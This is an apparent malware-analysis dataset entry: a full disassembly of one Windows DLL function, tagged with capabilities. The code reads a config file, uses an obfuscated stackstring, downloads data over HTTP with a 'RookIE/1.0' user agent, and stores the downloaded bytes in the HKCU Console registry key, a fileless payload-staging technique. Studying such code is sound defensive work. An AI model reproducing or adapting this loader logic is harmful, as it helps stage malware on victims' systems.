Function at 0x180005470
Capabilities:
Contain obfuscated stackstrings
Create directory
Create http request
Get common file path
Read data from internet
Receive data
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x600]
sub rsp, 0x700
lea rdx, [rbp + 0x4f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, [rbp + 0x4f0]
lea rdx, str._sconfig.ini
lea rcx, [0x180056180]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x2d0]
call fcn.180007d30
nop
xor r15d, r15d
mov qword [rsp + 0x60], r15
mov word [rsp + 0x68], 1
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x318]
mov qword [rsp + 0x50], rax
test rax, rax
sete byte [rsp + 0x58]
mov byte [rsp + 0x59], r15b
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.18000aef0
nop
lea rcx, [rbp + 0x2e0]
call fcn.1800087a0
test rax, rax
jne 0x180005575
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r9, [rbp + 0x2d0]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], r15
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.180002590
mov dword [rsp + 0x60], 0x61657771
mov dword [rsp + 0x64], 0x32316473
mov dword [rsp + 0x68], 0x63787a33
mov ecx, 0xc
call fcn.180015240
mov qword [rbp + 0xd0], rax
lea rbx, [rax + 0xc]
mov qword [rbp + 0xe0], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.180017350
mov qword [rbp + 0xd8], rbx
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x20]
call fcn.180002be0
mov qword [rsp + 0x70], r15
mov rcx, r15
mov qword [rbp - 0x80], rcx
mov r8d, 0xf
mov qword [rbp - 0x78], r8
mov byte [rsp + 0x70], cl
mov rdi, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x20]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x180005616
lea rcx, [rsp + 0x70]
call fcn.180009780
mov rcx, r15
mov qword [rbp - 0x80], rcx
mov r8, qword [rbp - 0x78]
lea rax, [rsp + 0x70]
mov qword [rbp + 0x640], rax
cmp rbx, rdi
je 0x18000566e
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x180005652
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp r8, 0x10
cmovae rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x18000565c
lea rcx, [rsp + 0x70]
call fcn.1800098d0
inc rbx
cmp rbx, rdi
je 0x18000566e
mov r8, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x80]
jmp 0x180005627
lea rdx, str.__d_____._______.____
lea rcx, [rbp + 0x1a0]
call fcn.180006d80
nop
mov qword [rbp + 0x1d0], r15
mov byte [rbp + 0x1d8], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
mov qword [rbp + 0x200], r15
mov byte [rbp + 0x208], 0
movdqa xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x220], 0
mov qword [rbp + 0x228], r15
mov qword [rbp + 0x230], r15
mov byte [rbp + 0x238], 0
lea rcx, [rsp + 0x70]
mov rdx, qword [rbp - 0x80]
cmp qword [rbp - 0x78], 0x10
jb 0x1800056f2
mov rcx, qword [rsp + 0x70]
add rdx, rcx
jmp 0x1800056fa
add rdx, rcx
lea rcx, [rsp + 0x70]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x58], r15d
mov qword [rbp + 0x60], r15
mov byte [rbp + 0x68], 0
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmmword [rbp + 0x80], xmm1
mov qword [rbp + 0x90], r15
mov byte [rbp + 0x98], 0
movdqa xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0xb0], 0
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], r15
mov byte [rbp + 0xc8], 0
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x1a0]
lea r8, [rbp + 0x60]
call fcn.180009280
mov rbx, qword [rbp + 0x50]
test al, al
cmove rbx, r15
mov qword [rbp + 0x50], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r15
mov qword [rbp + 0x260], r15
mov byte [rbp + 0x268], 0
movdqa xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
mov qword [rbp + 0x290], r15
mov byte [rbp + 0x298], 0
movdqa xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], r15
mov qword [rbp + 0x2c0], r15
mov byte [rbp + 0x2c8], 0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov ecx, 0x80
call fcn.180015240
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x70], rax
movabs r14, 0x2aaaaaaaaaaaaaab
mov rsi, qword [rbp + 0x70]
nop word [rax + rax]
test rbx, rbx
sete al
test al, al
jne 0x180005bcc
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x130]
call fcn.180005360
nop
mov rcx, qword [rbp + 0x148]
mov rdi, qword [rbp + 0x140]
sub rcx, rdi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x180005ada
cmp byte [rdi + 0x28], 0
je 0x18000587f
movups xmm0, xmmword [rdi + 0x18]
movups xmmword [rsp + 0x50], xmm0
jmp 0x180005888
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
cmp rdx, r8
je 0x1800058b8
sub r8, rdx
lea rcx, [rbp - 0x60]
call fcn.1800088d0
nop
cmp byte [rdi + 0x40], 0
je 0x1800058c9
movups xmm0, xmmword [rdi + 0x30]
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800058d2
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
cmp rdx, r8
je 0x180005902
sub r8, rdx
lea rcx, [rbp - 0x40]
call fcn.1800088d0
nop
cmp byte [rdi + 0x58], 0
je 0x180005913
movups xmm0, xmmword [rdi + 0x48]
movups xmmword [rsp + 0x50], xmm0
jmp 0x18000591c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
cmp rdx, r8
je 0x18000594c
sub r8, rdx
lea rcx, [rbp]
call fcn.1800088d0
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xe8]
call fcn.1800081e0
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x108]
call fcn.1800081e0
nop
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.180009080
mov rbx, qword [rax]
lea rdx, [rbp + 0xe8]
lea rcx, [rbx + 0x40]
call fcn.180008150
lea rcx, [rbx + 0x60]
lea rdx, [rbp + 0x108]
call fcn.180008150
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x1800059e5
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800059e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064a3
call fcn.180015238
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x180005a27
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064a3
call fcn.180015238
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x180005a63
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064a9
call fcn.180015238
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x180005a9f
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064af
call fcn.180015238
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180005ada
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005ad5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064b5
call fcn.180015238
mov rsi, qword [rbp + 0x70]
mov rbx, qword [rsi + 8]
cmp qword [rsi], rbx
jne 0x180005b27
mov rdx, qword [rbp + 0x48]
cmp rbx, rdx
je 0x180005b5a
mov ecx, dword [rbp + 0x58]
or ecx, 0x60
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x50]
lea r8, [rbp + 0x60]
mov rcx, rbx
call fcn.180009280
test al, al
jne 0x180005b63
mov ecx, dword [rbp + 0x58]
bts ecx, 8
mov dword [rbp + 0x58], ecx
bts ecx, 0xe
jmp 0x180005b31
mov ecx, dword [rbp + 0x58]
bts ecx, 8
mov dword [rbp + 0x58], ecx
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x50]
lea r8, [rbp + 0x60]
mov rdx, qword [rbp + 0x48]
mov rcx, rbx
call fcn.180009280
test al, al
jne 0x180005b63
mov rsi, qword [rbp + 0x70]
mov rbx, r15
mov qword [rbp + 0x50], rbx
jmp 0x180005b6b
mov rsi, qword [rbp + 0x70]
mov rbx, qword [rbp + 0x50]
test rdi, rdi
je 0x180005820
mov rcx, qword [rbp + 0x150]
sub rcx, rdi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x180005bbf
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064bb
mov rcx, rdi
call fcn.180015238
jmp 0x180005820
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x3e0]
call fcn.180017aa0
mov r8d, 0x104
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180006277
mov edx, 0x5c
lea rcx, [rbp + 0x3e0]
call fcn.1800171f4
test rax, rax
je 0x180006277
lea rdx, [rax + 1]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x180005c36
lea rcx, [rbp - 0x60]
call fcn.1800088d0
nop
lea rdx, [0x18004b068]
lea rcx, [rbp + 0xe8]
call fcn.180006d80
nop
mov qword [rbp + 0x130], r15
mov byte [rbp + 0x138], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x150], xmm1
mov qword [rbp + 0x160], r15
mov byte [rbp + 0x168], 0
movdqa xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x180], 0
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x190], r15
mov byte [rbp + 0x198], 0
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
jb 0x180005ccf
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x50]
add rdx, rcx
mov r8, rcx
jmp 0x180005cdb
lea rdx, [rbp - 0x60]
add rdx, qword [rbp - 0x50]
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x28], r8
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0xe8]
lea r8, [rbp + 0x130]
call fcn.180009280
test al, al
je 0x1800064fc
mov rcx, qword [rbp + 0x148]
mov r13, qword [rbp + 0x140]
sub rcx, r13
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
jne 0x1800064fc
cmp byte [r13 + 0x10], 0
je 0x180005d42
movups xmm0, xmmword [r13]
movups xmmword [rsp + 0x50], xmm0
jmp 0x180005d4b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rbp - 0x20], r15
mov rdi, r15
mov qword [rbp - 0x10], r15
mov eax, 0xf
mov qword [rbp - 8], rax
mov byte [rbp - 0x20], dil
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
cmp rdx, r8
je 0x180005d86
sub r8, rdx
lea rcx, [rbp - 0x20]
call fcn.1800088d0
mov rdi, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r14, qword [rbp - 0x70]
mov rbx, qword [r14 + 8]
mov r15, r14
mov r12, qword [rbp - 0x20]
cmp byte [rbx + 0x19], 0
jne 0x180005dff
cmp rax, 0x10
setae r13b
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp - 0x20]
test r13b, r13b
cmovne rdx, r12
lea rcx, [rbx + 0x20]
cmp qword [rbx + 0x38], 0x10
jb 0x180005dca
mov rcx, qword [rbx + 0x20]
mov r14, qword [rbx + 0x30]
mov r8, r14
cmp rdi, r14
cmovb r8, rdi
call fcn.180017c60
test eax, eax
je 0x180005e42
sets al
test al, al
jne 0x180005e47
mov r15, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x180005db0
mov r13, qword [rbp + 0x140]
mov r14, qword [rbp - 0x70]
cmp byte [r15 + 0x19], 0
jne 0x180005e52
lea rdx, [r15 + 0x20]
cmp qword [r15 + 0x38], 0x10
jb 0x180005e15
mov rdx, qword [r15 + 0x20]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, r12
mov rbx, qword [r15 + 0x30]
mov r8, rdi
cmp rbx, rdi
cmovb r8, rbx
call fcn.180017c60
test eax, eax
je 0x180005e4d
sets al
test al, al
jne 0x180005e52
jmp 0x180005e55
cmp r14, rdi
jae 0x180005de8
mov rbx, qword [rbx + 0x10]
jmp 0x180005dee
cmp rdi, rbx
jae 0x180005e55
mov r15, r14
cmp r15, r14
je 0x1800064e5
lea r8, [rbp - 0x20]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.180009080
mov rdx, qword [rax]
add rdx, 0x40
lea rcx, [rbp - 0x40]
call fcn.1800081e0
nop
lea r8, [rbp - 0x20]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.180009080
mov rdx, qword [rax]
add rdx, 0x60
lea rcx, [rbp]
call fcn.1800081e0
nop
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x1800547e0]
call fcn.180008e00
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.18000b090
mov rcx, rax
lea rdx, [0x18004ae84]
call fcn.180008e00
lea r12, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r12, qword [rbp]
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
mov ecx, 0x1000
call fcn.18001527c
mov r14, rax
mov dword [rbp + 0x640], 1
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov qword [rbp + 0x650], rax
test rax, rax
je 0x180006097
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
je 0x18000608b
xor ebx, ebx
mov qword [rsp + 0x40], rbx
lea rax, [rbp + 0x648]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x180006082
mov edi, ebx
cmp dword [rbp + 0x640], ebx
jbe 0x18000604c
mov r8d, 0x1000
sub r8d, ebx
mov edx, ebx
add rdx, r14
lea r9, [rbp + 0x640]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rbp + 0x640]
test eax, eax
je 0x180006024
add ebx, eax
cmp ebx, 0x1000
jne 0x180006020
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add edi, ebx
xor ebx, ebx
mov eax, dword [rbp + 0x640]
test eax, eax
jne 0x180005fc2
test ebx, ebx
je 0x18000604c
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add edi, ebx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rbp + 0x650]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r15d, r15d
mov rcx, r14
call fcn.180015238
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rcx, qword [rbp - 0x40]
lea rdx, [0x180056180]
call fcn.180002ab0
xor edx, edx
lea rcx, str.C:ProgramDataconfig
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rcx, qword [rbp - 0x40]
lea rdx, str.C:ProgramDataconfigconfig.ini
call fcn.180002ab0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x18000611e
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064c1
call fcn.180015238
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x18000616a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006164
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064c7
call fcn.180015238
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1800061a6
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800061a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064cd
call fcn.180015238
nop
movabs r14, 0x2aaaaaaaaaaaaaab
test r13, r13
je 0x180006209
mov rcx, qword [rbp + 0x150]
sub rcx, r13
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r13
cmp rdx, 0x1000
jb 0x180006200
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064d3
mov rcx, r13
call fcn.180015238
nop
lea rcx, [rbp + 0xe8]
call fcn.180008500
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x18000623b
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000623b
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180006277
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006271
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064d9
call fcn.180015238
nop
mov r8, qword [rbp - 0x70]
mov r8, qword [r8 + 8]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x70]
call fcn.18000b2a0
mov edx, 0x80
mov rcx, qword [rbp - 0x70]
call fcn.180015238
nop
test rsi, rsi
je 0x1800062f4
mov rcx, qword [rbp + 0x80]
sub rcx, rsi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rsi
cmp rdx, 0x1000
jb 0x1800062eb
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064df
mov rcx, rsi
call fcn.180015238
nop
lea rcx, [rbp + 0x1a0]
call fcn.180008500
mov rcx, qword [rbp + 0x1c0]
test rcx, rcx
je 0x180006326
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180006326
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180006362
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000635d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006513
call fcn.180015238
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rcx, qword [rbp + 0xd0]
test rcx, rcx
je 0x1800063b4
mov rdx, qword [rbp + 0xe0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800063ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006519
call fcn.180015238
nop
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x1800063fa
mov rdx, qword [rbp + 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800063e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000649d
call fcn.180015238
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2cc], edx
lea rcx, [rbp + 0x2e0]
call fcn.180007a70
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x380]
call fcn.18001406c
nop
mov rbx, qword [rsp + 0x758]
add rsp, 0x700
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
lea rcx, [0x180056070]
call fcn.18001c790
mov ecx, 1
call fcn.18001ba78
nop
lea rcx, [0x180056070]
call fcn.18001c790
mov ecx, 1
call fcn.18001ba78
nop
call fcn.18002114c
nop
call fcn.18002114c
int3